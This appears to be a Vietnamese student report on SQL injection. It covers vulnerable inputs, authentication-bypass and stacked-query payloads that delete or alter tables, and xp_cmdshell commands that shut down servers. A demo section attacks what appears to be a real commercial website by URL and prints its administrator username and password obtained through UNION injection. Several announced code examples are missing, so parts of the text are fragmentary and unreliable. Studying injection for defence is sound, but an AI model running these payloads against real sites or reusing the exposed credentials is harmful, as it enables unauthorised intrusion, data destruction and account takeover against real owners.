Professional Documents
Culture Documents
Báo Cáo CSATTT L P D19AT02 G01
Báo Cáo CSATTT L P D19AT02 G01
Hà Nội - 2021
1. Giới thiệu tổng quan về tấn công tiêm nhiễm SQL injection.
Sau khi thực hiện tấn công tiêm nhiễm CSDL, kẻ tấn công đã thu thập được thông
tin nhạy cảm của người dùng hợp lệ như User ID, Password,… Kẻ tấn công có thể sử
dụng chính những thông tin này để thực hiện các cuộc tấn công khác như leo thang,
chiếm quyền điều khiển máy chủ CSDL.
2. Các điểm yếu, lỗ hổng và các dạng tấn công SQL injection
2.1 Các điểm yếu, lỗ hổng SQL injection
Theo như kinh nghiệm của những người quản trị Website qua nhiều năm làm việc và
tích lũy thì những phần sau đây là những phần dễ bị tấn công. Các bộ phận dễ bị
tấn công bao gồm:
Form đăng nhập
Form tìm kiếm
Form nhận xét
Bất kỳ trường nhập và lưu dữ liệu nào khác
Các liên kết của trang web
Có một quy tắc đơn giản để xác định các lỗ hổng SQL injection: Kích hoạt sự bất
thường bằng cách gửi dữ liệu không mong muốn. Quy tắc này ngụ ý rằng:
Xác định tất cả các mục nhập dữ liệu trên ứng dụng Web.
Biết loại yêu cầu nào có thể gây ra sự bất thường.
Phát hiện sự bất thường trong phản hồi từ máy chủ.
Trước tiên,cần xem cách trình duyệt Web của bạn gửi yêu cầu đến Máy chủ web. Các
ứng dụng khác nhau hoạt động theo những cách khác nhau, nhưng các nguyên tắc cơ
bản phải giống nhau, vì chúng đều là môi trường dựa trên Web.
Khi bạn xác định được tất cả dữ liệu được ứng dụng chấp nhận, bạn cần sửa đổi dữ
liệu đó và phân tích phản hồi từ máy chủ. Đôi khi phản hồi sẽ bao gồm lỗi SQL trực
tiếp từ cơ sở dữ liệu và sẽ làm cho cuộc sống của bạn rất dễ dàng; tuy nhiên, những
lần khác bạn sẽ cần duy trì sự tập trung và phát hiện những khác biệt tinh tế.
Có 2 nguyên nhân chính của lỗ hổng trong ứng dụng cho phép thực hiện tấn công
chèn mã SQL là:
Dữ liệu đầu vào từ người dùng hoặc từ các nguồn khác không được kiểm tra
hoặc kiểm tra không kỹ lưỡng
Sử dụng các câu lệnh SQL động trong ứng dụng, trong đó có thao tác nối dữ
liệu người dùng với mã lệnh SQL gốc.
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể
được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng.
Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với
một lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép
điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng
các câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp tru vấn.
Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những
người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ
bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh
họa bằng một API cho phéo thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a' ;DROP TABLE users;
SELECT * FROM DATA WHERE 't' = 't' ;
Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định
nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu
vào.Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL
nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ
liệu mà người dùng nhập vào có phải là số hay không. Ví dụ như sau:
Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào
một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập
vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu
truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của
biến a_variable là:
SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu
quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra
sự sai khác
khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công
SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều
thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử
dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được
thiết lập sẵn
Xem xét một form đăng nhập (Log in) và đoạn mã xử lý xác thực người dùng
lưu trong bảng cơ sở dữ liệu tbl_accounts(username, password) cho như sau:
Nếu người dùng nhập 'admin' vào trường username và 'abc123' vào trường
password của form, mã xử lý hoạt động đúng: Nếu tồn tại người dùng với username
và password kể trên, hệ thống sẽ cho phép đăng nhập với thông báo đăng nhập thành
công; Nếu không tồn tại người dùng với username và password đã cung cấp, hệ thống
sẽ từ chối đăng nhập và trả lại thông báo lỗi. Tuy nhiên, nếu người dùng nhập aaaa'
OR 1=1-- vào trường username và một chuỗi bất kỳ, chẳng hạn 'aaaa' vào trường
password của form, mã xử lý hoạt động sai và chuỗi chứa câu truy vấn SQL trở thành:
SELECT * FROM tbl_accounts WHERE username='aaaa' OR 1=1--' AND
password='aaaa'
Câu truy vấn sẽ trả về mọi bản ghi trong bảng do thành phần OR 1=1 làm cho điều
kiện trong mệnh đề WHERE trở lên luôn đúng và phần kiểm tra mật khẩu đã bị loại
bỏ bởi ký hiệu (--). Phần lệnh sau ký hiệu (--) được coi là ghi chú và không được thực
hiện. Nếu trong bảng tbl_accounts có chứa ít nhất một bản ghi, kẻ tấn công sẽ luôn
đăng nhập thành công vào hệ thống.
2.2.2 Chèn, sửa đổi, hoặc xóa dữ liệu
Xem xét một form tìm kiếm sản phẩm và đoạn mã xử lý tìm sản phẩm lưu trong
bảng cơ sở dữ liệu tbl_products(product_id, product_name, product_desc,
product_cost) cho như trên.
Nếu người dùng nhập chuỗi "Samsung Galaxy S4" vào trường keyword của form,
mã xử lý hoạt động đúng: Nếu tìm thấy các sản phẩm có tên chứa từ khóa, hệ thống sẽ
hiển thị danh sách các sản phẩm tìm thấy; Nếu không tìm thấy sản phẩm nào có tên
chứa từ khóa, hệ thống thông báo không tìm thấy sản phẩm. Tuy nhiên, nếu người
dùng nhập chuỗi "Samsung Galaxy S4';DELETE FROM tbl_products;--" vào trường
keyword của form, mã xử lý sẽ hoạt động sai và chuỗi chứa câu truy vấn SQL trở
thành:
SELECT * FROM tbl_products WHERE keyword like '%Samsung Galaxy
S4';DELETE FROM tbl_products;--%'
Chuỗi lệnh SQL mới gồm 2 lệnh SQL: câu lệnh SELECT tìm kiếm các sản phẩm
có tên chứa từ khóa "Samsung Galaxy S4" trong bảng tbl_products và câu lệnh
DELETE xóa tất cả các sản phẩm trong bảng tbl_products. Sở dĩ kẻ tấn công có thể
làm được điều này là do hệ quản trị cơ sở dữ liệu MS-SQL server nói riêng và hầu hết
các hệ quản trị cơ sở dữ liệu nói chung cho phép thực hiện nhiều lệnh SQL theo lô và
dùng dấu ; để ngăn cách các lệnh. Ký hiệu -- dùng để hủy tác dụng của phần lệnh còn
lại nếu có.
Bằng thủ thuật tương tự, kẻ tấn công có thể thay lệnh DELETE bằng lệnh
UPDATE hoặc INSERT để chỉnh sửa, hoặc chèn thêm dữ liệu. Chẳng hạn, kẻ tấn
công chèn thêm lệnh UPDATE để cập nhật mật khẩu của người quản trị bằng cách
nhập chuỗi sau làm từ khóa tìm kiếm (giả thiết bảng tbl_administrators chứa thông tin
người quản trị):
Galaxy S4';UPDATE tbl_administrators SET password=abc123 WHERE
username = 'admin';--
Hoặc kẻ tấn công có thể chèn thêm bản ghi vào bảng tbl_administrators bằng
cách nhập chuỗi sau làm từ khóa tìm kiếm:
Galaxy S4';INSERT INTO tbl_administrators (username, password) VALUES
('attacker', 'abc12345');--
Khả năng máy chủ cơ sở dữ liệu bị chiếm quyền điều khiển xảy ra khi trang web
tồn tại đồng thời 2 lỗ hổng:
Lỗ hổng cho phép tấn công chèn mã SQL
Lỗ hổng thiết lập quyền truy nhập cơ sở dữ liệu – sử dụng người dùng
có quyền quản trị để truy nhập và thao tác dữ liệu của website.
Khai thác 2 lỗ hổng này, kẻ tấn công có thể gọi thực hiện các lệnh hệ thống của
máy chủ cơ sở dữ liệu cho phép can thiệp sâu vào cơ sở dữ liệu, hệ quản trị cơ sở dữ
liệu và cả hệ điều hành nền. Chẳng hạn, hệ quản trị cơ sở dữ liệu MS-SQL Server
cung cấp thủ tục sp_send_dbmail cho phép gửi email từ máy chủ cơ sở dữ liệu và thủ
tục xp_cmdshell cho phép chạy các lệnh và chương trình cài đặt trên hệ điều hành MS
Windows. Sau đây là một số ví dụ chạy các lệnh Microsoft Windows thông qua thủ
tục xp_cmdshell:
EXEC xp_cmdshell 'dir *.exe' : liệt kê nội dung thư mục hiện thời
EXEC xp_cmdshell 'shutdown /s /t 00' : tắt máy chủ nền chạy hệ
quản trị CSDL
EXEC xp_cmdshell 'net stop W3SVC' : dừng hoạt động máy chủ web
EXEC xp_cmdshell 'net stop MSSQLSERVER' : dừng hoạt động
máy chủ CSDL
Ngoài ra, kẻ tấn công có thể thực hiện các thao tác nguy hiểm đến cơ sở dữ liệu
nếu có quyền của người quản trị cơ sở dữ liệu hoặc quản trị hệ thống, như:
Xóa cả bảng (gồm cả cấu trúc): DROP TABLE <tên bảng>
Xóa cả cơ sở dữ liệu: DROP DATABASE <tên CSDL>
Tạo 1 tài khoản mới truy nhập CSDL: sp_addlogin <username>
<password>
Đổi mật khẩu tài khoản truy nhập CSDL: sp_password <password>
Sử dụng String SQL Injection để bỏ qua xác thực. Sử dụng SQL injection để
đăng nhập với tư cách là admin ('Neville') mà không cần sử dụng mật khẩu chính xác.
Xác minh rằng hồ sơ của Neville có thể được xem và tất cả các chức năng đều có sẵn
Input.pasword = X'OR'1'='1
Đăng nhập thành công
Biểu mẫu dưới đây cho phép người dùng xem tiền lương được liên kết với một
USERID (từ bảng có tên là SALARY). Sử dụng SQL Injection để thêm USERID và
SALARY.
String SQL :
jsmith';insert into salaries (userid, salary) values ('PHUONGANH', '100000')--
'or salary is not null;-- (KIỂM TRA KẾT QUẢ)
Biểu mẫu dưới đây cho phép người dùng xem tiền lương được liên kết với một
userid (từ bảng có tên là tiền lương). Biểu mẫu này dễ bị tấn công bởi String SQL
Injection. Sử dụng SQL Injection để sửa đổi mức lương cho userid jsmith.
String SQL :
jsmith';update salaries set salary=9001 where userid='jsmith'--
Mã SQL của biểu mẫu nhập userid: SELECT * FROM salaries WHERE USERID =
‘string input’
Nhập vào chuỗi: jsmith';DROP TABLE salaries;--
SQL query trở thành: SELECT * FROM salaries WHERE USERID =
‘jsmith’;DROP TABLE salaries;--’
Table salaries đã bị xóa.
2.3.5 Demo đánh cắp dữ liệu sử dụng chèn câu lệnh SELECT UNION vào URL
-Trang web thử nghiệm: http://www.nhuaphucthinh.com.vn/
Truy cập vào một sản phẩm trên trang web:
http://www.nhuaphucthinh.com.vn/product.php?id=20
Thêm kí tự ‘ để xem web xử lý truy vấn đã được thêm kí tự ra sao.
Web hiển thị lỗi query từ SQL, vậy trang web có lỗ hổng SQL Injection
Để thực hiện lệnh UNION SELECT(Lệnh kết hợp nhiều lệnh SELECT, ta cần biết số
cột của lệnh truy vấn trước vì câu lệnh SELECT sau cần có số cột đúng bằng câu lệnh
trước
Sử dụng extension Hackbar trên chrome do trên url kí tự khoảng trống “ ” không được
dùng, thay vào đó là cụm mã hóa %20
Nhập vào extension url http://www.nhuaphucthinh.com.vn/product.php?id=20 order
by 10-- và
chọn execute để kiểm tra số cột <= 10
Website hoạt động bình thường, tiếp tục với lệnh “order by 11--” hoạt động bình
thường, với lệnh “order by 12--”, website không hiển thị sản phẩm, vậy số cột của câu
lệnh trước là 11
Ta cũng có thể tìm thấy username và password của người quản trị trong CSDL:
http://www.nhuaphucthinh.com.vn/product.php?id=-20union
select1,2,group_concat(AdmUsername,’|’,AdmPassword),4,5,6,7,8,9,10,11 from
administrator
Kết quả trả về: duyvuong1979|03091979
3. Kết luận.
Báo cáo nghiên cứu đã nêu lên một cách tổng thể về tấn công tiêm nhiễm SQL
ịnection, các loại tấn công, demo và một số phương pháp phát hiện, ngăn chặn. Tiêm
nhiễm SQL (còn gọi là SQL Injection) không còn là khái niệm quá mới, nhưng nó vẫn
là một trong những kiểu tấn công mạng khá phổ biến. Tấn công tiêm nhiễm SQL là
một kỹ thuật tấn công vào hệ thống cơ sở dữ liệu của ứng dụng (web, mobile hoặc
desktop …) thông qua việc kẻ tấn công lợi dụng lỗ hổng để tiến hành tiêm nhiễm mã
độc vào câu truy vấn SQL và thi hành các câu lệnh SQL bất hợp pháp trên cơ sở dữ
liệu đằng sau ứng dụng web.
Tấn công tiêm nhiễm SQL vô cùng nguy hiểm vì kẻ tấn công không chỉ có thể ăn
cắp được dữ liệu chứa thông tin nhạy cảm mà chúng còn có thể thay đổi dữ liệu, thậm
chí là kiểm soát cả máy chủ mà CSDL đang chạy. Tấn công tiêm nhiễm SQL xảy ra
trên các hệ quản trị CSDL quan hệ như MySQL, MS SQL, DB2, Oracle… với bốn
dạng tấn côn SQL injection chính là:
+ Vượt qua các khâu xác thực người dùng
+ Chèn, xóa hoặc sửa đổi dữ liệu
+ Đánh cắp các thông tin trong CSDL
+ Chiếm quyền điều khiển hệ thống
Trong phần báo cáo nghiên cứu cũng đưa ra một số demo tấn công SQL injection
cho phép vượt qua khâu đăng nhập, thêm, sửa, xóa và đánh cắp dữ liệu. Đồng thời
đưa ra các phương pháp ứng dựng phòng chống tấn công SQL injection hữu hiệu...
https://123docz.net/document/2596036-tim-hieu-tan-cong-sql-injection-
trong-oracle-ppt.htm
https://www.acunetix.com/websitesecurity/sql-injection/
https://www.tutorialspoint.com/sql/index.htm
https://fallensnow-jack.blogspot.com/2011/08/webgoat-modify-data-with-sql-
injection.html
https://www.youtube.com/watch?v=tmPIW-Zrjo8
https://viblo.asia/p/ky-thuat-tan-cong-sql-injection-jamoG89ovz8P
https://portswigger.net/web-security/sql-injection/union-attacks